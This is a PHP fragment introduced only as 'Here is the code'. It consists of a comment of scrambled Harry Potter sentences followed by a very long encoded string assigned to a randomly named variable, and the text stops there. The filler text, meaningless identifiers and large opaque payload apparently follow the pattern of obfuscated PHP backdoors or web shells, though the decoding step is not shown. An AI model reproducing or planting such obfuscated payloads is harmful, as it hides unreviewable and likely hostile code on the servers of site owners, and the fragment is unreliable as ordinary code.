Here is the code

<?php /* (c) 1998 table, and chased after the terrified Scabbers. crouched low on his bandy legs, and started Hermione grabbed Crookshanks around the middle he said furiously to Hermione, dangling Scabbers Ron! Theres something funny about that */ $Sxf_zq='h8CZ56qQUAT5WND5UALL4wWZnqR8a8Tk4ryKULMb2FzZ5qV2iK6Quv05jBA6kTWZkqj1c7l0zgID4N4bHb2rh2BPMqvxCVHCmJsQHXLSPixJFPec4r8oEyOKtlclgt4xw6q1uB8KflSp6933u4DAYxHJvhYfSeO6XnQJpDdQUAyb2/vrhLA22+vj1DLpOvr0x6w6pXnIWzLAeGtslm3CJZ62o2FQanibAZtyqjLA1HovkS/hd3OipvHFMjXBpQFDC5nl1PbFx+43cedVBU/lFlqapE+3ZE4t07a6yf+ynYFFEEGN7qK6mGsmMsK0IqH4+yDHIOWm+3t2WJJxBZRrjWjkgZH5C66h/wUwDYsdwPRDrIfwU+8D02bpmzs70SKycP/hKztuYAro/vRgKnSKL61hpp7upe6CQOlToxAGrdMdy7EKtNG/bYN2M/bqq7Kzbt2/RQION5ofu4KEyQkA6cuC31SRjWBh/lwy+vJQNcyr+Ce++/SYAw7cgbYAVJqulajMGSBxxcDhd3YK7aMQxfnBBrzqEZikpneDA873tpfDH9HgqtMErQl/pI/dR/v140oMKUSTuhQGVq4QYfFUOvMiH44Og7ns+qu4fWHAFJ2H09Mj7hN3sZo9Sf3LZBUMYJLUNFPwhFN+3x4GyB9rLyEkFU5rPocWtCpsaqpYneldGGtzkf5laehoCOr9keuCjke8kUgeoXeFoTmrTKbxMzaz5wx9mOIK25nMdBwREVdu4b9vQ9Kk1ubG637XN4vAXViUwEJK/lg2Xf3aT0fnPI/kZzQX6KP4X4UX6mbh7d7Hgk5KT4BNxOZHuMjGzp+xghqHBdc3w7z7xfyFW4x+REbHkMe0VUe/nggP08Xeb8BER4duSkBF12dPA6HB3MdezkRF72ZH6N+T+3X8yv8U+AbPVTReySG8D4BEV2vZ1s+dBiYOWU3MHubOXS0ASYXvN+PN0tdr5pP7n7/AwPunynTrpimNTkVCB+LVP0BFR3+Pw8HHV/jyPt6LMGaf1e7di80GzQbUCcSl7FDSyMjnSRzHA0ikdpDWxZl1CR9HPkQB9h4F19MIQZvF71mLcWam57Y37ed3FFm3w8vr++wlZ0wGDKakJ9enyEa4BkdWflD3MG/D3uhK+VUwWfnxxtdoXw+j8dHDyZTU3tiB/GQ9QtY90qDGg5TM17qWHrZ5AhZLJ3Yn0jdXN+Ob69nCxdXGykcF1icvKi+rg9PPzcNbuA7n117JB0Xpy9PnUcrMSEZKQkhiOPK1A9nzeyXWlsJGBdZEEshJR0e3UEnvR7eP/5/Ody/NQqZL4MNLrkgtyMGr2fxJCcdawEbDRumUZJdXr/u+Irjlh1ODw5nDxkdU2NDCy5PEg6cYyCADzKXvRQnJJZn3dlf1IMoHZeBp725WiPcKD/d2AHbbNUtBhsvbf4zDG07PikdAwFeZTdpGj4dMSl4ukcHeyks0Y+o+i8Wrtd/AVuZkWbZOiEcPq6awJ4NnT9U0T4bxwdSY9Od3Q5fdKudSQWnU5ja3acdmtjYX0rdXN4vD9YKH1irQTl7ewE1Dg4nV/2iPD5P7xfaiPgXUJAcndhfvH0V6jDBE0eHJ3s1GRkxJlsFCB25ORsITi8vDz7H/xEPkh6Tn7qSn583fwEdPv/l/o00GQ3mHb4/fy3+fxR5dPHnJ5cPL3s/gojkJkcOFQ8RXQavkzrczAIbZgkOFIMbPNje/04NX90+r5TakB3Smpzc3D1/7679fv+351cMT5YXzxruf1c7HksTAyk+JQw+eg8PQtOdGggOESPRDBEis2daCzCXXpzfdxdaHBKPoRkPghd+R2cBE4djZk+uDwfrJhaf3D7fSyNaDlnbXz7sfT7/hhVfv46vr+9Dmn8v9xUHbzQ/14UfX3sv736LMVQnEpzcF5iff5+VOpwZUhuUl589n1uYmXYz2zX39IWwdq3iak7vPDHZ/PmiRJCyRWyvtBnMfgaT/8PMzSJK3HxV1g4ktWXB+lB0SS4mzVNmuBs/9WgsvYnOnygaPCKS7ToI0LzhayjWzoFd3N4gfN5cBfbsT3vnI0eC5O6vW+JcmZVlPP0WtZONr/FqM+Gc130hOEJ96e0PCj2mSH8VDuZ5Od+R30L1ME6yn1qekWIx30HjJB7VtW4ECukd//MetJZ5iP5PRTmTt6ZItNsJY56TZOQxy1z7sXQPxoFtnlHInPswU2BOemjNzsUxhHCPQ3GGFAOfWhI3xflyk+NtZIyB69mQ+BxwLoGWSTAQPKLsrHHfw2GOYl08FLqAiaWFaATSyTBJSbpeyLqUTKS8sHtfoBbLMjuiYq4q61fhtUCDUNessj81+lAiBD37VxM64l32jqBSHM500ciN6CCCjrD91jydOJirX7Pq6CSBU4jRaYD0C+GNkeYFHkhb/F/qZruZKu05T/OKUQuyIZJ2bIa9cr931Q1Zg4kTiE1ZzneJnIXRkxnukCtu1LkR65WT1f7Vijsa5nzm7qUIPTOx5prvrC185fw1z1SQswKKS1wt+G+jzKd8q0KqcyK6Mf2BHEuqpftX4XjgwnZuxg5gYP0N6Ae8Y/hdCcRl5XYHlKN633f2PwS3kjunZWgL6i17ZFGQKEcDHK/djZ6oeExGnd8YDwYHC9d7cpeMU4n0P19vStJ0HTCq4g7yLpn7ce2qt06ZurZwNMHG8gRsU1ZZ86uqItBZjzKEVGQrL7A5hT1jQYigjpoVNblPSohkBB7aiX8mqLjQDLLZYjcL1EcuBuNjA2zz0IdntyMrJrk70naH0ijpskK4ymeNxlf3t/uqQfG2MWa/ePzDMHhdCK//Rj6NJnK5NHO8AJUDzUISdGBPaPdjeM2qGtiHMLlHvrbKdXFKm9BRQ43jLGTfcbQVcU2ljYHm2yyxrMqEeW18lJTOPWX8FNae0K3tmCWB5yCaLvFos2NTaL1YcX7R1fkCdeRyIaKpnE19ha8yg8vD9LOvDOcG+RLCabqlsdB8mJG1eM9PuC2D3gLZg8s3/BX4qe+Kku/XBcnbyPvly3bZmjQhvDxQoyg5UR6oGR6glHpI0QTQ1+bide3XWVxswproQM/F/AtJ6XmEJhG5l1BPvuYHwEdbtS90RuR5qKErxCVoZquTqzXG8D5llHKD2ALlx2Gj5BFdAtlnZ2/yURDz5fplA1OdmDRBG8a5QGR2sjKEmuP2Yh0poFBZ1FkcW76bjIUlZDOLlvhRvMyiY+ASlNriQ4oohZNB1Fhjpio92I5zzzitYqkmX4RorcnX2Hv2xW0wxovvbr+nk/b/gK2nrLlkW0dUUxWcJe1p3gqUTxJTQxMDXQEmSl/xwnKYmAhWsvfuHFZ2yxRVXrH4U7eTAIn6G8Q6JeiRxt2UyaIWZpnC0KtoINnq5gmLWaCY3P7QIcaIV+XFYrXC9Lh1isnI7L0JlDdlmeyAjBMoKGemSUNWKu3gIJil/wE40/GBwFk7vqoEGmUnfehsbgop3Dh5+V/I8FJRuuMf8acO95Ias4tcXT4Lh8j+pzZva38bqI6LzNpQe5e6BIPI3+DBxZFLcosr7GwaC9Hvz8GRzxD2ZWPg86M8QPj6pmP5VOyFrZWbAfuIGdG0KMU7r7WnytmUBCy0kZDxmhDzT+Ere2BzkPG1/MQ/AQeM5jOMg4VmaxvcEFhjXw7b9MZAJjDnNvZ1Z3S42POwkE/3cJmB2U4mQkXH5BBry8BtUtsRzs4d2+v3w5fuxBRDX2QzWbJC+rNK5ucQIH2X+9KXVZj80I1c6na37+mHiZFh/WWHYdJr8xtRadaNSSjgobIokiZKoJBVGtWwyPKphMQk+hTP7TJnxKYUa79EP0pnuvakAZlCrZG+duXwSW0zcKxpesncHZ6o6HScTrnzQBHPtj7GuU/1YJT7xnb7eC+YRt+nPz1o2PYHy0UqgqRNVLi2xW1J3+9Se7u2qPZ5Y/NcciduAHm6l1ERIkER2fZyZ7088KqfvTzwRdtJvwJyezJPfumsCJsHAc9Iu1KLdbZIn7m5uR09K1vKYCR2x2tJ2vZ/2wUiqCGOUToEAImYkwiJRuZ4QYkowvec4eZgVN8Iuf/VXMExBedbwXErer+/gOqJuPOFnm+MFwd2p3UjzHxpyfhp8+bHzIsCCpdKeyf5CL/DBz4upUC236tkOz3qO2xdit58AL/xL8zQ8ji6CtuoXETwN4UExCuNjIsu02HZBQsFZxdVe84WMqlnLfoH+O91aKqgtKhmM9CZOutAdDzrDOCpkaAPJB3mAdz/bbzf1Qse67+Qn27A+QCVPLauBzSf4OZ8Zudz06zvxmDB0LZKjnBjuiXPaPUFqiABr1QE5bkZ5AupYNegy+JaWscHHo2XbsmO5DA6XEq/mIuO7yhTNvn3ns1ktgQtY+Zv5skbRz7xZcFmJVLyZdqUUPmzHpyx1psVN9HUK6tUrdNYgAcHraImHYI9pTPGls2aeduSo07GlTG9UUewNlO6Dzee3ZQigmp234JTli+zi3ZX+9//vLLS72A0eDyQ1Jof3hYrj1l5zKoqCL74VzDc/+9GF+tqL+oTL2XyIWc9El11Md283v/8v6UlZ2OlfvU2pr3n7Krbo9jmGEYVj8eYRkJ7eI8+iDpYhHoJj3vSiV96mgkpbFBJUGXi58QVagFqdTQwLzL7r/AUaENphyBwJ8AkmBHw2kfoU3/9VY9IowWr8uqkt4FRyT6T+vX0uwcEa+dq3Gcm7U8rX7JDGL+Ly9c7iU9sLRMC9QB8VbmPK+RhhsqYTfXUuFlz+dxty/VUIa8gNSUFzRQbW/+5hi+qOGYfX/eX/4n2h2IBcnNqfJ4vJTTIzryJ+1uxUEyIWwfjfgYC8f2FewlDTzWlIE/o1KZmxQA8uKt+okch8e7GarWLAuvA1C11+WzhSR4ZBReGEWpIMEHY0D3jtSl2zbYq1JQqJ4enZ/l8fw59/v0Mz+u4+8gCuh6gsSETfUOlLx5H9q8TvKnubKvV9wdxB/zlZ52XyB2w1QjtVS7p5gn9IbHPvcnKCWCoWhcC+FgM16sDEBygNLmcX33+6iJqCaUhuLXyHHz2Bj3jzQJu8Re8ySqWTQswQh5DRt7HPbj+jHMmLQ9+es67A9AcwP8pASDoR/QlJKMCGlRDJ75dpm2fJlgXpLruElJuQTfeyPwlC0QrdP84y9+XyHgJ5dFkWMWQu0eLduHWtxVTAf75gBaFhKtyVrTQYAT0XEIC3/VXn6uT/Cen9WFEgOK7imGs0TlEsaOhQfE950mDlgafuUvoZALpHD/qHs4FzpbQHhHywD8OtV3Bz+Pej/iZCwnnRWJ3J9nTQ8I6VPWs91/Jb2cBcFu4QLPCmNXfYRr/2mxRPrBjzPdZy5PF4apx1LhdyY0pk6IM30bbM7Iwn7R0dUVRzIKp/Elvzs0yfkBLhN3dGhyXVVJA8UCEgOqtKFf8Uoc73T852zkossdSP1gbOnuGVIfGYkusNuSv3wGJVLl0SJnpF5gSEhIN+5QlCbTJeN8HhFBPw+PF3R7QJ6WD++HDWs40ggdwipj87LWDFku/AH4NfhbT3z1ENGo1AY0GF9JNhbdUpcqhJ7B9vfTI0G5CgbBaVsaP2hUe+hxfy4ybpFBCP8WDWtfd4+hCyCieGhFAvF7RXxPpM8AmHwAI3mzZK2jrxBSbUXbiOVXno5vc2JDHwwbUxOg3jIKeIvTVbJBv0H0jgxjwg9ZasRVELdck40EeNAY13zxf/5YubIhS3iIt7icHhaPZkVYdyUVMaiuqLqeHSTlmgg2cnXMdUw0DwmLy0Pm/bq7vJdxgRNNdHSseH7XAsy4bkD40wXv4O47j9hyWndwwWCen8qRKFtsFp4b7RBSBWQKDFRY0Vyxu8+wrZamrN3ZAN8+ef3j9XfHgGIOZ2Wzfu8lELXUKFllkWgg/QtxOuIFVO+yMKX2AZ7FwwlOzUJDe/RUQ8ls1JCKJvraAvlZjRx0fNcZCJcb4vPi31TcPiXayOXYAfC+fJVufdX2YlrWBbpPIJxm9GrzSwua7X6Kqglbau+ySUDJ1fRUZfm9g+WRnSOP4c/2gxizPAuV/4mwiHJ9KwXkQxiwFlneNsjYwzD5RX1o2GGbCTmDo3yxsDdwjAB9T84vTG6o1pTD2/vTHd3UvweX8LwBT1sP1t8JIJXFrQuLmU6m57+w8VmcB3JKIydKTjpj7M0FqUkRZPSSh4TPIjcXL0VmPc64A5kBAV/DGEZz6z05anOIcO7ftKCwK1XzJhUNvTsp+CocJZO3sFcucb5RbR2qaMl9DPTKYP8Kj0iQoqMiD55/Z6nhWeWdpKbwTSlg2bgSGVcqJ1UfI1aYmky3bLzf0TpeBWf2Edm8/42qQj7hhYl5Lgr/IheMLSdQl/lk+PP1g/UUkEVYt1IesVjE3Kl0U22ltVkyCAcaxmG6situDOr/Ku5wR8rCMOsAumk1KV/dz62H4y4JC4iP8izutycFWJnYAM+BiVDsgxxfeWw4gYmWN5q239rBy+GgZcoGpGIxmXxAKNV961JQC47yjzYpwEbx6ZPeZkswqfKlUwiqYimT3nWa7ZF1J5rwAhOaYSXqNiqnC63XKDdj+uHhqOFD0xLPVG6/KoeN3VxqblZ40PnLoApNPh+c79TCgRLR1tHMRcoCive1xqqVzOY60dz+7ara5nFoGHDSKB0ZClCXGpQTLwFna134Sg4vLugERhDI1bP4QfM8igJSwoZeQucILumBlIxLc8iQVRc0Adrxgq1sZkTzqwHJLHWoCd53yaPC17Je55PV+ufrwVGeTAgn8GqdoC5wcjfp2wSllPF6ziCWeFhOoEYS/cIgEAhD4WvGyQyNhpm4eYXkI+7fq6txZqRgHXAJCe6pxvHrY7EPn4kW3K5J8B7T89GD311YNu1jdpawvijqYpyVc74koEh4H5Y8Dr2Q11fTRPyZJGYHnXNtpJdmRSQ6zl/dbPGV8BGps1C1d6TEenkvpd5F4qS+Yadfau8xuH5Km9O6VK9mphwUEdIzA1l1xUOfs+/aLJM7KZkVqOtnTrS0wgYFZNBDrc9kGsaSN6Ax2nf5LDwbTZcJSthr9E+hdO6LA4/nQCWb4ftE9vjBmOOOj684dZyAc+Pj1MI1mgGHB6O+rWqzjAF/zFCIgJhFCA5wpV5lpRO0i0HQL7wEzyTAPQLrY8p2CA2SahXXnFQsLXzxSVc3I+jsOoUqMPrgJbz4/AVcnu1Z1u+jE0MzH6WiRCselrcJEfjOoIXmutPNQNKG1+ALI6IqKSEJKwQJcmduRDa17XzH/JaFUSaK482Enaog1MxMvP0k64xC4zN6Zzb5prMVLrgRN2mAN2mjhnEejubp6wBiGYUp1+/kddEWwucBwMaRWseZYx6j38ioJcE7lKy6nuAazN7xCE9iux6YoQS7ZGf9hBy4z8TlUpXnHWfPjcYbu3wfsTXUJ2bQWEksDebkV8/NBDZ+bhIe6GcOVEqY3KQtPaUyeiF5Da4EaXciiU/3UPr6f+gcQCzW+f5WY7Rcgj6jjaI87E5mQmDg6HJcPGN1FwkwjoRVgQGz8L95Z4XtK7WrabRV3+j9tdzqI3IxYw6YmLkGQOZ9BwxOdHQ8A1n7gEUOFLm1fATQf6JlfmuAK1r9OiDbkeicGxyJeDA4Y/XvUjFoc3gOGEh2fm5jihsuxGv5rk+0dJis9VzCZXFwrgRgX3N99qp3bfQJdFJiXXD6Z37DaLqVVU0LeFG9M5IhsEtF40xOTO3lalQGUq8WawaNzqE8eiNbKIKOB5ba1c/UUhG4s6jdssyRoz/ups0evEciWecMiWh1M0gWFPh+FEit1TDUJyLFSzgH0tzahjyPAVd5Jf9FNmPpRY2khXJejvwWCU00ORLaq9ejL8aa7rVKmEMEdz4kWxXaTeZpMwVBM4WW2yUSci5Ny9zHHJllidOIUYW2kK4cPQwxQ82AiP0qR00ymaoAE8rZwurSY7XjzD7Y5Wx9CgNpf2k7Gy0omhG8LzArW12q6KpidHhke19l1X1jfWRg/jiBw7I+sjD9IsnCGhMbEPzKT5LZ31riPp/R0D44R324aydGc474MuwvXbDfjC1WOYOcLR9dyXg3x6vO2YoyDfchPTD2W9SWmsVDhXuwvmHCAFADF8+BYZkEaSdSyLxMeXUe+TqHVwcxYyXxGKLq81ywD2r6jiBh+ODQ1hdAAtyRRW2M4hTLBd9AW6IKsmmZ4YTn2GBh+QGrMDh9f+oKKQW0byp9XWaSO6Tm75lJzvI09Tw0Kdg72ejlpREpsCOnGSEvWcPPh1gpOhU/9l4dm4z6kiRwMnGLoOcm+rZFL7n+DDvNqCBLzXQmBzIVZJVjpxv1Om4+DDG8qMtCAWxo/msaMEoyK3erIg6HQkT6fwxJuAHf/swnP79bYEePQv4BewrGsFPJJu8LUIjCJ+S91urxERLq9jQR0cSaK5hRvUsVY9y8ElJvbdOQ2zZVQjbitqpg5CIx4mXbkp+vQm+PT+p+z6fEUJHD5nh3UzH2qq+CX9nObCFn+wlCQjO+mxXvIFEshU+dATWsC5Vyg4/xTzqd0nKriAtTqitFJ3EYTg3G6fkuWQyC+lbU1Yiy/fkiYN1bGs3L+uWuTdTsB13LZg7Nmpw5KoW0hZLi2rrqKD7InFk7iLb9qMHY5lgBhBN+RT2SDvbHoFhySn18MvjQeeYFnQTjS6pvdvxCC+WyLHVUHFzKX0GqAEIJ2tZBPH/UMPDT7RVVGcX8vMrzBqp/TXBcqguDNdaZ/fWqi3SRtcGEpEIFJaqdSWzZ1VUbkIAm8HmNPgBVr7vu9EEV8Qj6iWnw4k3IA6HJw3AkHZ/GJzvARtrW1eE3Jt1ydjB8CGb4QKx2bv1XLeFgCcXYSe9gF1FqyriVtq73IC1nVeIRDVeV2krO2eGc1Y1MTdDvlMF15DQhYDjxYoWW1hF3h0VltC7CPuh3ifoU2k38YpUfDc6xNkhcRggITgALUXzvUgERWR8pP2DLMHtsSx6HkD0gjtp1LE6AdznSzbeOlCtkPehT+JMfNX41nP//Xk7aK4iRk7RmvZGmye/NdHkOPWT8Y9CySxWOhNq9bgwD5YztjZ7EV4lKE5NKsY2pzx3JXTjj9igCUu+GgUlvckLX2cNpIkAgGl0pqe8QRvJaX+wfVxRm5Pyq4AgEVbKzF0eqZ5a5ZJIlbARVZntVytoLuo7TnRqLnkmNFxY72wJzsnZ+YHHGDKbmBeP35gNN1ysFMY56ylTQ7Ar+WxCkr4OwFJUuPDmYQFpD4+uvjqXXBRrR/HKM9tEP5GOf5hd3n9kZabaitRAhBBiMs8/qPd0jbfb6nsQ2wYCfM3n2cEp4Uwt5vhHGjWtc+LHxBVQwCUYfGjqq/qCQEp7hBIW+tKeaC9LHZCtbCSvFwge8o3d2GoMTnIWFtvuZdDuz0bW5C2t/Tmjfroddj6tG6m10pRTuLerIcHDbxqQd7aGq9GihVPDXhRL4PP3GqcfVKJKZJ1tWpXlJbajhduMTWsVCqgvQ9gxTqeyyaXTyS1c4+6sWJrJnmu6Dme1zsRlwqDjEPMhUwXoQu79Dn5p8czbaNRN8uXVUQAMJxNQmF20RsIZL7yWl4fkX/cnwCWGyYvT6vI2v2SU8fTDM0HdS8B0kOlqZ5NF02d/pUW1QrXmK1lxESDxaBCtg6SL9wtdP0t5mUeb+uNzp8iDicpbU8GNGwinZ0q7rKCuPb3+iFXHI+qFvTLoT6DrxWZjVHRc27bpp4TMR8x6TV+lKIoy2j5DOcX/ZXlPjHuB1xkxjUZgyGcmIrIjCHxY0FTqJDk928zL2eSNrmCgoyNrElxHAtLJzqnKvMjrTH8sWrlWksNe1NwQy2RqpauT5+UnV6WnVCX8or9HK8KHBG/kJJDOHdZ2Wj2bMLenmuA75ajaEDoKckTA4s0qvqIQ4EM6h+ZGFYT8pllbJn1n66acH0Wyujig6rGFIJKapQHFweR78/0yd1w+lf9l0X/EAje3I1NU0Vu1YES4OKO/np42oFf2cSbk6pbJnyAA0vvLSN2VoJn5nVlzCBfCXwtFXK8sW8Xi/1CKYJhfKWxaOl3IW4ICmSpRkRdKNyaLAw3npWM1OKgiCAVBGs729JdjU+cHvpG/Y/HO3b3/lWgipfRBtF6g+WTdwDD0HFud5P5hYwNC3iCDPTmXlq2L2Bgj+pGB4geRFJ1bZFfRV2C0pTxyFd8DS+mIuojvIBliD7y5B3BRswnfQVNC764TC4hWGz1CvjRjgSUChzbznI8HOHISKLT2+Jhu0G7Yu0VYheTFmr43CoWdU5I1KKVdzEodq2p6mzVrgvOHJXC6vJptN8mbOlZVpJmyq0XivxywiHu11bZ/N3AJya/hUJlz9aHLMmLwlZIhRymGif81R4mfzbeQ1DMPVx3fyuokRMeh2RktF+oVHTelezHdqSerUKcY1GzYOsqZW5LKzCDHiSBIEBCztUPRXl/CdJVsBLbdV+JDQQ+QE+BJXhKP900H8G8P6ytEYDcmIDJSkvWa/BycECjfgfwIKO0LO4EcAvJYfqNrCmqRtHmdhVg3EpPh2WhCHcJEtuUvTK1di3fbYpKHu88nqxXgB2K0ORo2+tZnTIAjMkCbt4JBJl0oYJ3hvFOOkvSLVUF8kCj3WlFYTFgCgcr3BgHzaspEQMJ6plOCMWa1bWd58wX/qw/lmZopQeL/PsArRLQEuLk9w2tTC6HCUM3pWp6hKTqCgvdtelOXFl7aaOMpRSpjB56+Ro+RHlgpRttni1RKecjZi6ga91wpuI6vm1FCixBv7aolpdoC4LzSDUVm3TgzgGweW6x8IXDo+upm+y7ZNyGfevduoFyNQ/xobxiy9VvgTqhA4kDsrvD7OG/P29uDIpa1Es6RmVeLLa9YG3xUwrp8vwK4luAeKgatvtf2nxE6CvPtxqj1Z4b+KaoR0fsV3c4K6bCd1xRypdJC3GEXQeZS7IdaY61bxfl3KGdnVhKSTarnON7EhOA69nmmUECZUqK/tASKWoLLFq8SK4S6eW2iIF8tYI+y1g0inpUdT+5Xo5ZWxiJIYKJbCPr0+5RtLKLTvuxBNhw8AxcWitgHbMNRkAKsZP2YmSbjD/XGQI9UHUP7nw1dIK+lxBxd3UrZ3C9G9JRVtEC6hY2ZXb2cUhccVz8uNDg2bj/0I1qyY5rPldJl1qd/y/069+J67EuNpOqbWBUuYsV+dng/8HG26So2msikS+A4WbThMbVq8hNiX1ibsBxItervbMgQcpr1kxI2f5sWUFAkI9hvitKqec1WWKJH9eqiwV8yNzHRIUnJNSZ+O1bzC3c+1hYSVprZW8gX1kYwSXdAabHSQ5Y0NQDJo8owEL8kWL471l6Bq6KskwSDpReoIZpGCBSk6KDy+zB1tRxydT0znGJz7IZdbmAbG/rUpPNwlGwqbDcvZ8yaSTcDcrW8mEZXLJTf9sveCB++W2MhVcRSHEZ4fbCHDBzBKiIur7s5OueODhS8O+qmXzceN1HwsXIucGp91xWHwZ6UqZAqFZY1hpRpmeDNctzzJv2SdNMhD4elnpJHssPMQBlFbW+9yAsEAxcs90LHOTs6IZgzsaeHJ3Su7qXY4x6HK7FgszrCxnk6VLKIloN0X5JCh3qV9Pb7/F6nVfXEI3lh5hlPzGFcxSl0jissVppLlbD7aepvYWFoa7Ozofy9zVeY/PhQ2LcMv00dNqgc2KbCyP+WlxrUZZmIOzitWIBXMJblxy64JaNsvm6cRXd2kkKDKxv7krCbCJ2YYZxoSq1CCCKnVoWy+OJ3QBeBFf4Jsf6++BKdnLa6X0vMSq/vMZDLbRiSLr+QxPs7dUWRcrEh0NTrcbt1hdr5OUDjUOD3J3x1tYT3pAF5clMR0OmPKlgFAj1n75RLfuRj/bZBO4l2tHlk4VkD+1mzxI6p78bKBRONp6RwnPPs5URG+KZ0D3rgbA9AetPsEnKFMELtZj7/6RwMhcrF3RwNSJzvbqp2cY2m4kI6bE7nGRasG+sNAoULBoxf7//qGHRs//tNGbG8dY+r95zuwApeg3Y2a0WKlj/R+MEV6kiJiXWptZmr25mJvP9D5XUpdZnrUW2zht25C+Gyp/Jl3BW8NmPrIe7jvS/XFtFxtvY8xdS7Y/7BPEVQjjSPQVvWsDxe3E2q1AR2EHICn/LOJ9z3lhhkrfZ7EJlW46tHz4jP6U24M2VCR6cyKBq+LnliMDtU8aMsGXlzQatDW+x7vL4Iva6+cLSEetfzeoCDckS+kvQB21h5w+S1n0b6jLkrdbPfQDKEcu3/o6ho1KaEbIyZffZJZJp1kd4lvIY6nlRqA0IsZN5k3o1e53BNTgVVL8iyDJkwJoJ0bJhgt+I1Op9mPOJtP3sRGIMi+FAkvgIOygyZxeAldmx+ydt2Le/n0VIoK032RsuONFQ/eGe3xsv7OEi063ReXK+AS+Cj3HlOqwPvHELSmXQDRVL5P26fKtPukNr9rx/fv2e18x/kLcXeCxTy0TwVl+lw7fnDgK8ayUYFC55k7E/lq6p3p8ANhKO9n9VAFGqnXn5QF+pTDXNgkjlHmfgkH2KBL66IZRbqfQM+OXLC2NoI/cSTsBPlSStsbIdla2u8kYjYcAmkWnutBKh/7VkJqar3+OXIbsb8WHAXSIgdjzkayNMQ37ZdPlNkf6UM1PPcXsjwivOkIdIedzVS4NZZHa6Mk/2AOfYz4w6QaQmIo7LA7P6a3BAEpz9GfbUay0IuGQVffNb0JFUuSROXDCBUucpD9Nxn0O3puZQfQrATmerJEKqMDedI/4quQbET9b9HpkH6L1hSSbm18X2kLXndp1Th5mvA7Bf5BoPlMZ/qSXCOLMxwWwy31ieD0MNt5Rs7CTSt+CuogMuwCkyudxoc6EgT6n4moBcOmMP0aGpenrgFwsnohekwBQxckGuPPX2Xgp2IrRN3Wdx4Q/BqtMgt9Gjeakv8rrK/iBiAYEuF4Px95SNWYqrTn3ZWKR1MZ2EMa+9FWlc8enw7lJaP3NZTIznORCd7lKEBH4j+urbKDzTSyWZ/S1W8Hc2ExvW3/2TW8tArGwtOiibXxZDvZ0Rj1D4fU4YzQ4RY0xxogYWNlsi0omzjK2/MFP6zTEmyVPMOw6ZL1uDBG5PI1jdXM0eU/y+Fs5gCkj8D2VqwxY/LsZqYklN7nQNYFN21I/7AkXYk7NXEB7+I2+9tzvJfOjjIgdCC+20nx2V5eoOllRXELh8i2eteM1NOx/QdCYU655Z5sqr2Ca6tRxlphMrB4C0TKyCFDEicrLrTF2Y4Ds7I+QlZxsaqv1md6vQNeOrKiEqSOSQKwPBHSK9JnL/+V75SBBmlLCVPMCHnMFoEv/TXd92OHTXxmGm/vHuPxDpWv2GeACMmgmgEozJjjRaIB9mDf/WgROtkQ4EZ/OKYNbSUSawyC5XhnVYqFnuIchRYIEy+GGGwnDAOklLwg9htFCAwT/kYTpMvhxw+iz2HS8Lu3NjIGptOooed6qdXHUasSsHLZ4ABtYWlFSyKGMgMKrFJdE6iSIMkZkah21wjQU0aaRhOG8LM7KpOXQSdPh1Owspayz5sf55gycB5xpsyZZHfyRUlf8QagFaXSx8gRRAtzDZsQyX/JzV/TLwqqFiwg/UKKOK1o0QBVc++j1ShHqXEr1MtWVFZPq1WKR3pgdYk0ITzzcO2NbDzgT/l+2N2wjKtRi/CFPSdy4D+SbcwjH/mFTnbEc5v8meboslPz9wXnBYic96HYfJjvq5dZ7PbemFKT27iVMFsrsGB8FCtdHNuoCbBKZaQlyV7g/m1JiAqw1aLbFzTWC5mmrlsyDl47FZyzQUBmlZPj2sCCSnUQ7EQuPM0khYhqeob2uNAgs/KugtvUuJtDUWDBbYGmCEZRbiAWqwUuLoOnbG/Jhzdy1QHtYLT8QMIJ84NS8IWbBoomT2Ohf5cyytrRe198Wv8kyT5gank4Mv8k4qjWbyrPSBPJOiIygF/m3aQ8nyGvudcNaxV87Doo2KY2CXh1spOjoyQCHUihppCb+II/7M8X4Km6QNWfTgxRxAxd7wWeRnDfSkqMjnOTAXtEm/LYGeY1dps6+0JSN2Dfr9oEeodr+JBYm0K2RNDxry1FKFTh2xTLQibLLfe+h6rjsikU78oOBK7FhHG0GJ6in8dR8QxmhVqVPltkNOBE5O0PLTl2hHYO1bLQ78+14EFLovvbaZ8QarjFusZet95qK8pq6ChJKefjvG/be6GZxNEbKLk6tlBjbT2zCLy8jCrfr2tbkRNCWsEtBJR0wkajFxUQ6mqT9GY0pAhS7+pcv0PQc3P7MsKthN595L5ThpDwAo/AGiw0SKTYgJGudqKZfEow0pev8zc4ssEOTlt42/ykeXLlMGU/lcOeS2fxQdr1arGXqO0J4gjxIm7D92rRNqLuFQHaCvUuNLvjQQwlsctnHPdGzOkeHJ8d9NyNrCQYGNQL1y0bjVPsmiO3OX/2ubtYSUj8lLwTYNuTAU5pVMYAFRfE4+fJgBKVd0iykKTPFU6gYY8ol+kmBMN28Im+4r9vPODQvAd5kYnolLHhk1UV+D/20uAFCCYLN/7I2YGgc1lhDmpv1MLwtVYqw5yC9qaEnVIXFyMMrIMXf+pletuI0Ug59IRBhDLNNI7cmzpIGfP7OUveQvno7AUZWGXH1rDkwWiB/HpeTaF8bfB8cLURZLL5NPc6RNW1U5eEVk7DWQJvlJkYFShwHLWbNhXvSqmX9L76w0nVmrOUAC9OrhR4lwxBvisoff4mr4ImKFCrdoHUybyBAq+dmH/XOY4RRkEyQJfsS9PEUtftMUXY+A1hYpfI+WWvzWYGisxHXSFBFixeUvN/24FDPMDUMTkmO3eK6UEVKFc69Iv2AZomCnKnwFo0JHBcfTtK25rUDh1B4z7ANrdK/w+aIEZNIgT6R61SJ/zIKnIbADs00BVybz0yq+Jj2jl8xPIE/uUu6gnD4CNzJBMjUPimgrI4/9tkcY9wgAni5b6OWiu3yhM7QrghH0+bFPASCVpJIJZtN4SLjGaKzGjzCF23BsPYZQYI1y/T9QiO+twPTwkTqIaWosL0nq9KXxPfnFGGwrC3PVcwxhC26Keiwx1PxGgkgutJsqdjezzePzEPQXMgX62oXKIlald5OONQK3+8JeAsF165EELS7va0ec4Lsp2wRAWVLqm1LS1+oUGh/+RjLDgUs/fGox3DQU9FjO6h8ET+oqA6SzUjdweRXejELQ3JeCZO3/C/xMjpaRCIMLa5qH+hvMMyvh1weBqQ7mUdQP3YJse1XgTKJ4iIPwrMdKwEhEeBhDu4d2SFnsjIQlrd3u0ezjUc5jzZnUhWJ4MppQ/eTZU+BgqkmtEXqZ8UI4fXh1o41oF3EL+5wi96ksoFJ4C+2ua0Bg7d9G1um/Z5fRGtjNNtO9JDa9+nCZbkMDkbGHdrAjbxmsnU0fwtHtNShuqllGi3SMJ78x50/3gwyD+lFZuK+5tx7a3eYUtwWvIpMAWV9XThEN8bG0EA9I59ORwrCR/UHSLkurCYUHhPbKbbdsRzeLHoZrZiDsPhNOU8q+xoq3oaOUlW7iFz+C+